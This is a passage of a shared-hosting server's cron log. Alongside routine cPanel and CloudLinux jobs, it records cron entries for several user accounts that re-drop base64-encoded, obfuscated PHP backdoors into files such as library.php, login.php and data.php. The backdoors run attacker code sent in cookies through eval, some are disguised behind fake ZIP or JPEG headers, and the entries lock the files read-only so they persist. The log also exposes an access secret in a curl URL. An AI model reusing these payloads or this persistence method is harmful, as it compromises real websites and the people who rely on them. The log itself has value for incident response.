sbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:18:01 medusa CROND[1073]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:19:01 medusa CROND[4894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:19:01 medusa CROND[4965]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:19:01 medusa CROND[4966]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:19:01 medusa CROND[4967]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 07:19:01 medusa CROND[4968]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:19:01 medusa CROND[4969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:19:01 medusa CROND[4970]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:19:01 medusa CROND[4980]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:19:01 medusa CROND[4982]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:19:01 medusa CROND[4985]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:19:01 medusa CROND[4990]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:19:01 medusa CROND[4993]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:20:01 medusa CROND[10960]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:20:01 medusa CROND[11024]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 07:20:01 medusa CROND[11067]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 07:20:01 medusa CROND[11197]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:20:01 medusa CROND[11198]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 07:20:01 medusa CROND[11199]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 07:20:01 medusa CROND[11200]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 07:20:01 medusa CROND[11203]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:20:01 medusa CROND[11205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:20:01 medusa CROND[11201]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 07:20:01 medusa CROND[11202]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 07:20:01 medusa CROND[11207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:20:01 medusa CROND[11209]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:20:01 medusa CROND[11211]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 07:20:01 medusa CROND[11210]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 07:20:01 medusa CROND[11219]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:20:01 medusa CROND[11220]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:20:01 medusa CROND[11221]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 07:20:01 medusa CROND[11236]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 07:20:01 medusa CROND[11237]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 07:20:01 medusa CROND[11238]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:20:01 medusa CROND[11239]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 07:20:01 medusa CROND[11243]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:20:01 medusa CROND[11248]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 07:20:01 medusa CROND[11251]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:20:01 medusa CROND[11231]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 07:20:01 medusa CROND[11253]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:20:01 medusa CROND[11230]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 07:20:01 medusa CROND[11223]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 07:20:01 medusa CROND[11250]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 07:21:02 medusa CROND[16444]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 07:21:02 medusa CROND[16562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
